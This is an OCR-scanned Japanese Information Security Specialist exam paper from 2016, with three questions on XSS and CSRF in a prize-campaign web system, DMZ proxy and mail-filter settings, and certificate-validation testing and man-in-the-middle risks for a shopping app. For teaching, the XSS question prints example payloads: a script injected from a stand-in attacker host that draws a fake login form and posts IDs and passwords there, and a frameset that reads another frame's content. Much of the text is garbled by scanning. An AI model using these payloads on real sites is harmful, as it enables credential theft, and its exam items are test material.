
匿
平成28年度春期

情報セキュリティスペシャリスト試験

午後 l 問題

12:30~14:00 (1時間 30分）

注意事項

1. 試験開始及び終了は，監督員の時計が基準です。監督員の指示に従ってください。

2. 試験開始の合図があるまで，問題冊子を開いて中を見てはいけません。

3. 答案用紙への受験番号などの記入は，試験開始の合図があってから始めてください。

4. 問題は，次の表に従って解答してください。

問 1～問3

2問選択

問題番号 l 
選択方法

I

l

 

5. 答案用紙の記入に当たっては，次の指示に従ってください。

(1) B又はHBの黒鉛筆又はシャープペンシルを使用してください。

(2) 受験番号欄に受験番号を，生年月日欄に受験票の生年月日を記入してください。

正しく記入されていない場合は，採点されないことがあリます。生年月日欄につい

ては，受験票の生年月日を訂正した場合でも，訂正前の生年月日を記入してくださ

"‘。

(3) 選択した問題については，次の例に従って，選択欄の問題番号を0印で囲んで

ください。 0印がない場合は，採点されま

せん。 3問とも0印で囲んだ場合は，はじ 〔問1'問3を選択した場合の例〕

めの2問について採点します。

(4) 解答は，問題番号ごとに指定された枠内

に記入してください。

(5) 解答は， 丁寧な字ではっきリと雷いてく

ださい。読みにくい場合は，減点の対象に

なリます。

注意事項は問題冊子の裏表紙に続きます。

こちら側から裏返して，必ず読んでください。
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問 1 Webシステムの開発に関する次の記述を読んで，設問 1~3に答えよ。

L社は，ソフトウェア受託開発企業である。このたび L社は，食品製造会社 M 社

から， M 社製品の宣伝目的で行う懸裳への応募受付を主要機能とする Webシステム

（以下，懸裳システムという）の開発を受託した。懸裳システムの開発プロジェク

トのリーダには， L社開発部のJ主任が任命された。

〔画面と遷移〕

L社では，懸費システムの画面と遷移について，図 1の案を作成した。

画面1-1
l 
懸虹システム
トップページ

画面3-3
ヽ・

マイペーン

lキャンペー

画面2-1

キャンペーン検索

あ）J|キーワードI

（え）1声
／パスワード／

画面3-4

て可百7頁入力
1応募必要事項1

メンパ登録情報の修正

疇疇 I電話番号 1
IメールアドレスI0r彦正

画面2-2

検索結果

画面3-2
•一··:’
ロクイン完了

画面3-5
、'’’
必要事項確認
------1 
L巫紐必憂亜懇J

画面3-8
I—,_,-••-

メンパ登録情報の確認
――’――'-----準工届じS卸 L嘔睦避一号」
-------1 
12二とこ巳竺一「醸

→ ：画面遷移 （＝）：ポタン I I▽| ：プルダウンメニュー
亡コ： テキスト入カフィールド乙ニフ ：パスワード入カフィールド lごご二二I: hiddenフィールド

注記 1 エラ一時， 戻る，ログアウト，懸四メンパの初期登録，その他の画面遷移については省略

している。

注記2 ログインしていない状態で画面3-3～画面3-9のURLを指定した場合は，画面1-1ヘリダ

イレクトされる。

図 1 懸費システムの画面と遷移（抜粋）

- 2 -



図 1中の画面の URLのホスト部は，全て kensho.m-sha.co.jpであリ，パス部は画

面ごとに異なっている。ここで， m-sha.co.jpはM社のドメイン名である。

図 1中の矢印で示す画面遷移時に受け渡すパラメタを表 1に示す。ただし，セッ

ション維持に関するパラメタは省略している。

表 1 画面遷移時に受け渡すパラメタ

画面遷移（図1中の記号） 画面遷移時に受け渡すバラメタ

（あ），（う），（え），（か），（こ），（さ），（せ） なし

（し‘) キーワード

（お） メンバID,パスワード

（き） 選択したキャンペーン名

（く），（け） 応群必要事項

（し），（す） 住所，氏名，電話番号，メールアドレス

ぜい

〔脆弱性の発見〕

L社では，画面遷移について M 社の承認を得た後，順調に開発を進め，総合試験

に進んだ。総合試験の一部である脆弱性検査については，セキュリティ専門業者の F

社に依頼した。検査後， F社から L社に対して図2の報告があった。

ー
I

（1)画面 2-1から画面 2-2への遷移において，クロスサイトスクリプティング（以下， xssとい
う）脆弱性を発見した。当該箇所の画面遷移例は図3のとおリである。

(2)画面2-2を表示するための図 4のソースコードにおいて， 10行目に問題がある。 URLパラメ

タであるkeywordに対して適切な処理をすべきである。
(3)一部の画面において，クロスサイトリクエストフォージェリ（以下，CSRFという）脆弱性

を発見した。

（以下，省略）

図2 脆弱性検査の結果報告

画面2-1

キャンペーン検索 検索結果

キーワードが含まれるキャンペーンを ［チョコ］を検索した結果です。

検索します。 ） 
1 ミルクチョコレートキャンベーン

キーワード Iチョコ | 
2 ホワイトチョコレートキャンペーン
3 プラックチョコレートキャンペーン

（捻衷 ） (OK l 

画面2-2

図3 xss脆弱性が発見された箇所の画面遷移例
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1 （省略） ／／ import文など

2 public class Gamen2_2 extends HttpServlet 

3 （省略） ／／その他のメソッドの定義など

4 public void doGet(HttpServletRequest req, HttpServletResponse res) throws 

IOException, ServletException { 

5

6

7

8

9

0

1

 

9

9

 

PrintWriter out= res.getWriter(); 

String kw= req.getParameter("keyword"); 

（省略） ／／ outに HTMLのHEAD部を出力

out. print ln("<BODY)"); 

out. print ln("<H1〉検索結果</H1)");

out. print("[" + kw+’']を検索した結果です。 <br>’');

（省略） ／／ outに検索結果以下のHTMLを出力

／／キーワード欄の入力値を取得

12 } 

13 （省略） ／／その他のメソッドの定義など

14 } 

図 4 xss脆弱性の原因となった部分を含むソースコード

〔xss脆弱性の説明と修正〕

次は，脆弱性検査の報告会での， J主任と F社の検査員 Nさんとの質疑応答である。

]主任 ：xss脆弱性は，入力値を細工すると笞告ダイアログを表示できるという脆弱

性ですよね。

Nさん： xss脆弱性の影勝は， 警告ダイアログの表示だけではあリません。例え

ば，攻撃者は， URLパラメタである keywordに攻撃用の文字列として

< script src= "https://wana.example.jp/Login.js"> </script>を組み込んだ

https:/./kensho.m-sha.co.jp/Gamen2 _ 2 へのリンクを含む電子メールを作成し，

被害者に送付します。被害者がそのリンクをクリックした場合，図 3の画

面 2-2ではなく，図 5のように改変された画面 2-2' が表示されます。この

ときの https://wana.example.jp/Login.jsのスクリプトは，図 6のとおリです。

ログイン

M社懸紅ページヘようこそ。ログインしてください。

メンバID

バスワード ［ログイン）

図 5 改変された画面 2-2'
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1 document. body, innerHTML='"'; // HTML body部を全部消去する

2 document.write('<Hl〉ログイン</Hl〉'); 

3 document.write('M社懸裳ページヘようこそ。ログインしてください。 <br>');

4 document.write('<to rm name=" log i nFo rm" act i on="h t tps: //wana. example. j p/ login" 

method="post">'); 

5 document.write('メンバ ID<input type="text" name="id"><br〉'); 

6 document.write('パスワード<inputtype="password" name="password">'); 

7 document.write('<input type="submit" name="send" value="ログイン＂〉く／form〉'); 

図6 https://wana.example.jp/Login.jsのスク リプト（抜粋）

Nさん：被害者が画面 2-2' でメンバ IDとパスワードを入力すると，それらは

亡ニコというホスト名の Webサーバに送信されます。この場合，画面

2-2' が表示された時点で，被害者が偽のログインフォームだと気付くかとい

うと，それは難しいでしょう。

J主任 ：なるほど。こんな被害が発生するのですね。

N さん： xss脆弱性を使った他の攻撃例も紹介しましょう。 Webプラウザには，

| ー［という仕組みが実装されているので，仮に，懸裳システムのコン
テンツと，攻撃者が用意した Webサーバ上に置いてある攻撃者のコンテンツ

の両方を，フレームを使用して， Webプラウザ上で同一画面に表示したとし

ても，攻撃者のコンテンツ内のスク リプトで，懸費システムのコンテンツを

参照することはできません。

しかし，図 7の HTMLソースコードでは， I；_|が役立ちません。攻
撃者が用意した https://wana.example.jp/getFrame.jsというスクリプトで， 3行

目のフレームの内容を参照することができるので，その内容を攻撃者が用意

した Webサーバに簡単に送信できます。

1 <html><head></head> 

2 <frameset rows="l, 1"> 

3 <frame src="https://kensho.m-sha.co.jp/Gamen3_7" frameborder=0〉

4 <frame src="~? c::::r:J =<script src=%22https: //wan a.example. j p/getF ra 
me.is%22><!script〉"frameborde r=0〉

5 </frameset> 

6 </html> 

注記 https:/./kensho.m-sha.co.jp/Gamen3 _ 7は，図 1の画面3-7を表示する際のURLである。

図 7 攻撃用 HTMLソースコード例
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Nさん：攻撃者が，自分のWebサーバ上にスク リプトを用意し，図 7のHTMLソー

スコードヘのリンクを電子メールで送信するなどして，その HTMLソース

コードを被害者の Webプラウザに読み込ませることによって，①画面 3-7

の表示内容が窃取される可能性があリます。

J主任 ：そう考えると，懸買システムの全ての画面で，表示される情報が窃取される

危険性があリますね。

L社は，xss脆弱性が存在するソースコードを修正した。

(CSRF対策の説明と懸裳システムの修正〕

Nさんが引き続き CSRF対策について説明した内容を，図8に示す。

(1)使用している Webアプリケーションフレームワーク（以下，フレームワークという）に
CSRF対策機能が含まれている場合は，その機能を利用する。
(2)フレームワークに CSRF対策機能がない場合は，次のルールに従った実装をして， CSRF対
策とする。

• POSTメソッドによるアクセスだけを用いる。
• 前画面で， HTML フォーム内に 1 e lを1 f lフィールドの値として埋め込む。
・画面遷移時に受信したデータが，埋め込んだIe lと一致するかを確認する。

図8 CSRF対策に関する説明

Nさんの説明を受けて， L社では懸費システムについて，CSRF対策を行う画面遷

移と行わない画面遷移を，表2のように決定した。

表 2 CSRF対策を行う画面遷移と行わない画面遷移

三□I：：ロロデニ記号）
〔再発防止策の検討〕

M社では，無事，懸賞システムの運用を開始したものの， J主任は，脆弱性が作リ

込まれないよう再発防止策が必要であると考えた。図 9は懸裳システムの開発開始
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時点の， L社の Webアプリケーション開発ガイドライン（以下，ガイドラインとい

う）である。

•利用者入力値の取扱い

(1)利用者が入力する値は，期待する入力値として正当かどうか検査すること

(2)検査の結果，正当だと判定した場合だけ，その入力値を信頼できるデータとして出カデー

タの生成に使用すること

・出カデータの生成

(1)信頼できるデータだけを使用して，出カデータを生成すること

図 9 懸賞システムの開発開始時点の L社のガイドライン（抜粋）

今回， xss脆弱性の原因となった図 4のソースコードを作成した T君に事情を聞

いたところ，‘‘②画面 2-1において Webプラウザ側のスクリプトで入力値を検査して

芦ので， URLパラメタである keywordの値を信頼できるデータと判断して，出力

データの生成にそのまま使用した”と答えた。

J主任は，信頼できるデータの定義を厳密に定めようと， Nさんに相談した。この

時の Nさんの回答を，図 10に示す。

(1)入力値の取扱いについて

（ア） 入力値が正当かどうかを1 i lで稼働するプログラムで確認する必要がある。
(2)出カデータの生成における信頼できるデータについて

（ア） ＜＞＆”'を含まない文字列であっても， HTML内の出力される箇所によっては， xss脆
弱性の原因となる場合があるので，信頼できるデータとはいえない。例えば li l 
を出力する箇所では， xss脆弱性を防ぐために“javascript:"などの文字列を排除する必
要がある。

（イ） 信頼できるデータを厳密に定義することはできないので，ガイドラインの内容を抜本的

に修正する必要がある。

固 10 Nさんの回答（抜粋）

J主任は，他の脆弱性に関する調査も進め，ガイドラインを修正した。このガイド

ラインによって，その後L社では，セキュリティについての品質が向上した。
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設問 1 収ss脆弱性の説明と修正〕について，（1)~(5)に答えよ。

(1) 本文中の［こここコに入れる適切な字句を， FQDNで答えよ。

(2) 画面 2-2' を表示した時点で， Webプラウザのアドレスバーに表示される

URLのホスト部を， FQDNで答えよ。

(3) 本文中の［／5／/]に入れる適切な字句を解答群の中から選び，記号で答
えよ。

解答群

ア AsynchronousJavaScript + XML イ HTTPStrict Transport Security 

ウJavaScriptObject Notation エ SameOrigin Policy 

(4) 図7中の［口：□l-' _]/]に入れる適切な字句を答えよ。
(5) 本文中の下線①の窃取が成功するのは，懸彼システムにおいて，被害者が

どのような状態にあるときか。 20字以内で述べよ。

設問2 にSRF対策の説明と懸裳システムの修正〕について，（1),(2)に答えよ。

(1) 図 8 中の~.[口］口］に入れる適切な字句を，それぞれ 10 字
以内で答えよ。

(2) 表 2中の|-LJ,Iー＿ h |に入れる記号の適切な組合せを，解答

群の中から選び，記号で答えよ。

解答群

記号 g h 

ア （い），（く），（さ） （し），（す），（せ）

イ （い），（く），（し） （さ），（す），（せ）

ウ （く），（し），（す） （い），（さ），（せ）

工 （さ），（し），（せ） （い），（＜），（す）

設問3 〔再発防止策の検討〕について，（1)~(3)に答えよ。

(1) 本文中の下線②の検査では，攻撃を防御する上で効果を発揮しない理由を，

40字以内で具体的に述べよ。

(2) 図10中の［ここニコに入れる適切な字句を， 10字以内で答えよ。

(3) 図10中の［こここコに入れる適切な字句を， 5字以内で答えよ。
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問2 DMZ上の機器の情報セキュリティ対策に関する次の記述を読んで，設問 1~4に答

えよ。

u社は，従業員数 1,500名の機械部品製造会社である。横浜に本社及び工場があリ，

国内 10か所に営業所がある。 U社では，本社に DMZを設置し，電子メール （以下，

メールという）の送受信， Webの閲覧及び Webサーバによる情報公開に利用してい

る。 ドメイン名は， u-sha.co.jp（以下， U 社ドメインという）である。 U 社ドメイン

の管理には， B社DNSサービスを利用している。

u社では，コピー機能，プリント機能，イメージスキャン機能及びイメージ送信機
能が一体になった複合機を導入している。

u社で使用しているメールアドレスを表 1に示す。

表 1 U社で使用しているメールアドレス

種別 メールアドレス 概要

従業員が使用するメ ルアドレスであ
従業員用メールアドレス user@u-sha.co.jp 

る。 userは，従業員ごとに異なる。

メール管理者用 メールシスアム管理者用メ ルアドレ
特定目的

メールアドレス
postmaster@u-sha.co.jp 

スである。
用メール

複合機用メール 全ての複合機に共通のメールアドレス
アドレス

アドレス
scanner@u-sha.co.jp 

である。送信専用である。

〔U社情報システムの構成〕

u社情報システムのネットワーク構成を図 1に，機器の機能概要を表2に示す。
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r-----------------------, 
u社
1本社IDMZ 「 = |亡＝可 1 l 

サーパLAN

FW：ファイアウォール
L2SW：レイヤ2スイッチ
L3SW:レイヤ3スイッチ L. 

注記 1 工場及び営業所については，記載を省略している。

注記2 本社LANにPCが接続されているが，記載を省略している。

図 1 U社情報システムのネットワーク構成

表 2 機器の機能概要（抜粋）

機器名 機能概要

• DNSキャッシュ機能及びオープンリゾルバ防止機能

・プロキシ機能及びオープンプロキシ防止機能

プロキシサーバ • URLフィルタリング機能
ベンダが提供するベンダプラックリスト，及びサーバ管理者が登録でき

る管理者プラックリストがある。

・インターネットと内部メールサーパとの問のメール転送機能

・インターネットから転送されるメールに対するフィルタリング機能

フィルタリングは次の(1)~(6)の順に行われる。

(1)迷惑メールの送信に悪用されるI a Iを防止するために，エン
ベロープの宛先メールアドレスのドメイン名が U社ドメイ ン以外のメ

ールを拒否

(2)迷惑メール対策として， l b 1認証技術の一つである SPF
(Sender Policy Framework)によって Failと判定されたメールを拒否
(3)エンベロープの送信者メールアドレスとプラックリスト 1の照合結果

外部メールサーバ によって，メールを拒否

(4)エンベロープの宛先メールアドレスとプラックリスト 2の照合結果に

よって，メールを拒否

(5)メールヘッダの送信者メールアドレスとプラックリスト 3の照合結果

によって，メールを拒否

(6)メールヘッダの宛先及び同報先メールアドレスとプラックリスト 4の

照合結果によって，メールを拒否

なお，プラックリスト 1～プラック リスト 4には，拒否したいメールア

ドレス，又は拒否したいメールアドレスのドメイン名を登録する。照合

は，完全一致によって行われる。
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表 2 機器の機能概要（抜粋） （続き）

機器名 機能概要

・コピー機能，プリント機能及びイメージスキャン機能

・イメージ送信機能
複合機 送信者メールアドレスとして複合機用メールアドレスを用い，スキャン

したイメージを添付したメールを，イメージを作成した本人又は同じ部

署の従業員のメールアドレスに送信する。

B社のDNSサービスに登録されている U社ドメインの設定を図2に示す。

| u-sha. co. jp. IN TXT "v=Spfl +ip4: x1.y1. Z1. 235 -all" 
注記 xl.yl.zl.235は，外部メールサーバのIPアドレスである。

図 2 U社ドメインの設定（抜粋）

〔情報セキュリティ対策の強化〕

最近， U社と同業の C社において， DMZ上の機器への不正侵入による情報漏えい

事件が発生したとの報道があった。事件を知った U社の経営幹部は， U社でも同様

の問題が起こるおそれがあるかどうかについて，早急に調査するように，情報シス

テム部長に指示した・。調査は，情報システム部の K さんが担当し，セキュリティ専

門業者Y社のW氏から支援を受けることになった。

〔DMZ上の機器の設定の点検〕

Kさんは， DMZ上の機器の設定を点検することにした。まず，外部メールサーバ，

Webサーバ及び DMZ上の L2SWを点検することとし， W氏に相談した。W氏は，

図 3のようにインターネットで行われている攻撃の例を説明し，まず，プロキシサ

ーバについて設定を点検すべきであると指摘した。

• DNSキャッシュポイズニング攻撃
・オープンリゾルバ防止機能が適切に設定されていない場合に起きる DNS［こここ：］攻撃

図3 インターネットで行われている攻撃の例

w氏はKさんに，プロキシサーバの設定の点検方法を説明した。
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〔プロキシサーバの設定の点検〕

Kさんは，プロキシサーバの DNSキャッシュ機能について，名前解決問合せパケ

ットの|~適切に設定されていることを確

認した。 Kさんは，その設定が行われていない場合，どのようなことが起きるのかを

w氏に質問した。W氏は， DNS名前解決通信では UDPが使われておリ， UDPヘッ

ダの［ニエニコのランダム化が設定されていないと，図 4に示すような DNSキャ

ッシュ機能への攻撃が成功する可能性が高まると答えた。

(1)攻撃者が，メールサーパを用意する。

(2)攻撃者が，取引先ドメイン名のMXレコードを用邸する。

(3)攻撃者が，プロキシサーパに対して DNSキャッシュポイズニング攻撃を行い，用意した MX

レコードを DNSキャッシュに保存させる。

図4 DNSキャッシュ機能への攻撃

w氏は，図 4の攻撃の結果|―；ー―|が， DNSキャッシュに保存させられた

MXレコードを参照するので，①メール配送に影響が生じることを説明した。Kさん

は， W氏の説明を理解した。

次に， Kさんば URLとして， https://www.example.ne.jp/user035/index.htm1をフィ

ルタリングしようと設定してみたが，バス名を含めた URL全体を設定できず，ホス

ト単位のフィルタリングだけが設定できる仕様となっていたことを説明し，その理

由を W氏に質問した。W氏の回答は，次のとおリであった。

• この URL の場合，プロキシサーバ経由で HTTPover TLS通信が行われる。

・ PCのWebプラウザは， CONNECTメソッドを用いてプロキシサーバに接続し，

サーバwww.example.ne.jpとの間のトンネルの確立を要求する。

・ PCのWebプラウザは，プロキシサーバからステータスコードが200である応答

を受信した後，サーバwww.example.ne.jpとの間のTLSセッションを開始する。

w氏の説明を受け， Kさんは， 盆HTIPoverTLS通信ではURLフィルタリングが

ホスト単位となることを理解した。

Kさんは，プロキシサーバがDNS［ここニコ攻撃に悪用されないようにする対策

を含めて， 他の設定を点検し，他に問題がないことを確認した。
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〔外部メールサーバの設定の点検〕

Kさんは，外部メールサーバの設定を点検した。 W 氏は，複合機用メールアドレ

スを詐称したメールがインターネットから送信されて，マルウェア感染が起きるお

それがあることを指摘した。指摘を踏まえ， Kさんは，③外部メールサーバの設定を

変更した。さらに，念のため，複合機用メールアドレスを詐称するメールについて

の注意喚起情報を社内に周知した。

Kさんは，引き続き外部メールサーバの設定を点検し，他に問題がないことを確認

した。

最後に， Kさんは， Webサーバ及びDMZのL2SWの設定を点検し，問題がないこ

とを確認した。

設問 1 表 2中の［こここコ，［ここコに入れる適切な字句を，それぞれ 10字以

内で答えよ。

設問2 図3中及び本文中の 「―□□□|に入れる適切な字句を， 10字以内で答えよ。
設問3 （プロキシサーバの設定の点検〕について，（1)~(3)に答えよ。

(1) 本文中の［こエこコに入れる適切な字句を， 10字以内で答えよ。

(2) 本文中の［口］口］ に入れる機器名を，図 1中の字句を用いて， 10字以

内で答えよ。また，本文中の下線①で生じるとしている影密を， 40字以内で

具体的に述べよ。

(3) 本文中の下線②の理由は， CONNECTメソッドのどのような仕様によるも

のか。該当する仕様を， 20字以内で具体的に述べよ。

設問4 本文中の下線③について，変更箇所を，表 2中の字句を用いて 10字以内で答

えよ。また，変更内容を，30字以内で具体的に述べよ。
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問3 スマートフォンアプリケーションの試験に関する次の記述を読んで，設問 l,2に

答えよ。

s社は，従業員数 100名の ECサービス会社である。今回，新たにショッピングサ

イト（以下， Sサイトという）と Sサイト専用のスマートフォンアプリケーション

（以下，Sアプリという）から構成されるシステム（以下， Sシステムという）の開

発プロジェクトを立ち上げた。プロジェクトリーダには，サービス開発部の Rさん

が任命され， Sシステムのセキュリティについては，セキュリティ専門業者のA氏の

支援を受けることになった。

〔Sシステムの概要〕

Sシステムの構成を図 1に， Sアプリの機能概要を図2に示す。

Sサイト 1nMテ――――l
スマートフォン I 

I 
I に

崩厄言了＝旨「［
- - - - - - J 

FW:ファイアウォール

Sサーパ ：SサイトのWebサーバ
DBサーパ：データベースサーバ

注記 DNSサーバは省略している。

lトワーク

図 1 Sシステムの構成

・Sサーパとの間ではHTTPover TLS（以下， HTIPSという）を使って通信を行う。

・Sアプリ内に， SサーパのFQDNが組み込まれている。

・スマートフォンに対応している商用認証局から Sサーバに対して発行されたサーバ証明書

（以下， Sサイト用サーバ証明書という）を，Sサーパの認証に使用する。

・Sサーバと通信ができなかった場合は通信エラー画面を表示し， Sサーパを認証できなかった

場合はサーバ認証エラー画面を表示する。

図2 Sアプリの機能概要 （抜粋）

(Sアプリでのサーバ証明書の検証試験〕

開発がテスト工程に入リ，Rさんは， A氏と共同で， Sシステムのセキュリティに

関する試験を検討し，Sサーバの認証を行うためのサーバ証明書の検証がSアプリで

適切に行われていることの確認を試験に含めた。
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Rさんは，図 3に示すサーバ証明書の検証試験環境を S社内に設置し，スマートフ

ォンからは無線 LAN機能でこの検証試験環境に接続することにした。また，サーバ

証明書の検証試験環境で用いる機器と設定を表 1に，不正なサーバ証明書の検出に

ついての試験項目を表2にまとめた。

なお，試験に使うサーバ証明書は，別に用意したプライベート認証局で発行する。

スマートフォン

ピ
W-AP：無線LANアクセスポイント
L2SW ：レイヤ2スイッチ

注記 破線は無線通信を示している。

図3 サーバ証明書の検証試験環境

表 1サーバ証明害の検証試験環境で用いる機器と設定（抜粋）

機器名 設定

試験用Webサーバ 試験用のサーバ証明書を登録する。

試験用DNSサーバ
I a IのFQDNからl b |のIPアドレスに名前解決するため
のAレコードを設定する。

試験用DHCPサーパ
スマートフォン自体の IPアドレス及びサプネットマスク，並びにスマー

トフォンが参照する DNSサーパのIPアドレスを割り当てる。

表 2 不正なサーバ証明書の検出についての試験項目（抜粋）

項番 試験項目 試験方法 期待される結果

・試験用Webサーバに次の値のサーパ証明書を登録する。

発行者が
サプジェクトのコモンネーム： Sサイト用サーパ証明四

と同一の値
不正であ

有効期間の開始と終了： Sサイト用サーパ証明内と同一 I d l 1 
ることの

検出
の値

・スマートフォンにプライベート認証局のルート証明書を

登録しない。

・試験用Webサーバに次の値のサーバ証明書を登録する。

有効期間
サプジェクトのコモンネーム： Sサイト用サーバ証明苔

と同一の値
内でない

有効期間の開始： Sサイト用サーバ証明書と同一の値 I d l 2 
ことの検

出
有効期間の終了： l C l 
・スマートフォンにプライベート認証局のルート証明書を

登録する。
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表2 不正なサーバ証明書の検出についての試験項目（抜粋） （続き）

項番 試験項目 試験方法 期待される結果

3 

サプジェ
・試験用 Webサーバに次の値のサーバ証明也を登録する。

クトのコ
サプジェクトのコモンネーム：l a lの FQDNと

モンネー
は異なる値

ムが不正
有効期間の開始と終了 ：Sサイト用サーバ証明書と同一 l d l 

であるこ
の値

との検出
・スマートフォンにプライベート認証局のルート証明書を

登録する。

なお， Sアプリと試験用 Webサーバ間で HTIPS通信が確立することは，サーバ証

明書の検証試験を実施する前に，試験用 Webサーバに Sサイト用サーバ証明密を登

録して確認している。

A氏は，図 3,表 1及び表 2のレビューを行い，問題がないことを確認した。 Rさ

んが試験を実施した結果， Sアプリでのサーバ証明書の検証に不備は見つからなかっ

た。

〔Sアプリでのサーバ証明書の検証不備による影響の検討〕

Rさんは， Sアプリでのサーバ証明書の検証に不備がある場合に，どのような攻撃

が行われると影響を受けるのかを， A氏に質問した。 A氏は，中間者攻撃に用いられ

る環境の例を図 4に示した。

スマートフォン 攻撃者が準備する機器

言

注記破線は無線通信を示している。

図4 中間者攻撃に用いられる環境の例

図 4では，攻撃者が中間者サーバを含む機器を準備し， その先でインターネッ ト

を介して Sサイトに接続している。中間者サーバは， Sアプリとの間，及びSサイト

との間で，独立した二つの HTTPS通信を確立し，中継する。

Rさんは A氏に，例えば，表 3に示す攻撃者が準備するサーバ証明書のうち，ど
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れを使用すると中間者攻撃が成功するのかを質問した。 A氏は，もし Sアプリにサー

バ証明書の検証不備があると，表4のとおリ攻撃が成功すると答えた。

表 3 攻撃者が準備するサーバ証明書

証明害番号 発行者 サブジェクトのコモンネーム

1 スマートフォンに対応している商用認証局 攻撃者が所有しているドメイ

2 ンを使用した，FQDN

3 攻撃者が準備するプライベート認証局 SサーバのFQDN

4 上記二つ以外のFQDN

表 4 中間者攻繋が成功するサーバ証明書

サーバ証明書の検証状況

項番
発行者の検証不備

サプジェクトのコモ 中間者攻撃が成功するサーバ証明書

ンネームの検証不備

1 あリ あリ | e l 
2 あリ なし | f I 
3 なし あリ | g I 

A氏は，サーバ証明書の検証不備がある場合に，①Sアプリの利用者が，図 4中の

W-APに接続すると，中間者攻撃を受けることを説明した。説明を受けた Rさんは，

表 2の試験において， Sアプリに不備が見つからなかったことから，中間者攻繋を受

けた場合には利用者が気付くこ とができると判断した。

その後残リの工程も完了し， S社ではSシステムを無事リ リースした。

設問 1 〔Sアプリでのサ一バ証明書の検証試験〕について＇(1)~(4)に答えよ°

(1) 表 1中及び表 2中の ---]/]に入れる適切な字句を，図 1中又は図 3中

の構成要素から選び，答えよ。

(2) 表 1中のIb |に入れる適切な字句を，図 1中又は図 3中の構成要素
から選び， 答えよ。

(3) 表 2中の［ロロロ］に入れる適切な字句を， 15字以内で答えよ。

(4) 表2の試験で，Sアプリが試験項目どおリに動作している場合に，どのよう

な結果となるか。 Lこ三ここ］に入れる適切な結果を，本文中又は図表中の字
句を用いて， 30字以内で具体的に述べよ。
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設問2 (Sアプリでのサーバ証明書の検証不備による影密の検討〕について，（1),(2) 

に答えよ。

(1) 表 4 中の［~に入れるサーバ証明書を， それぞれ表

3中から全て選び，証明書番号で答えよ。

(2) 本文中の下線①について，攻撃者が， W-APの設定をどのように細工すると，

Sアプリの利用者のうち，公衆無線 LANの利用者のスマートフォンを自動的

に W-APに接続させることができてしまうか。 W-APの設定上の細工を 45字

以内で具体的に述べよ。

I
勺
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〔メモ用紙〕
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6. 退室可能時間に途中で退室する場合には，手を挙げて監督員に合図し，答案用紙

が回収されてから静かに退室して ください。

I 退室可能時間 | 13:10~ 13:50 | 
7. 問題に関する黄問にはお答えできません。文意どおリ解釈してください。

8. 問題冊子の余白などは，適宜利用して構いません。

9. 試験時間中，机上に置けるものは，次のものに限リます。

なお，会場での貸出しは行っていません。

受験票，黒鉛筆及びシャープペンシル (B又は HB),鉛筆削リ，消しゴム，定規，

時計（時計型ウェアラブル端末は除く。アラームなど時計以外の機能は使用不可），ハ

ンカチ，ポケットティッシュ，目薬

これら以外は机上に置けません。使用もできません。

10. 試験終了後，この問題冊子は持ち帰るこ 9ができます。

11. 答案用紙は，いかなる場合でも提出してください。回収時に提出しない場合は，

採点されません。

12.試験時間中にトイレヘ行きたくなったリ，気分が悪くなったリした場合は，手を

挙げて監督員に合図してください。

13.午後1Jの試験開始は 14:30ですので， 14:10までに着席してください。

,

2
 

試験問題に記載されている会社名又は製品名は，それぞれ各社又は各組織の商標又は登録商標です。

なお，試験問題では， TM及び Rを明記していません。

c2016 独立行政法人情報処理推進機構
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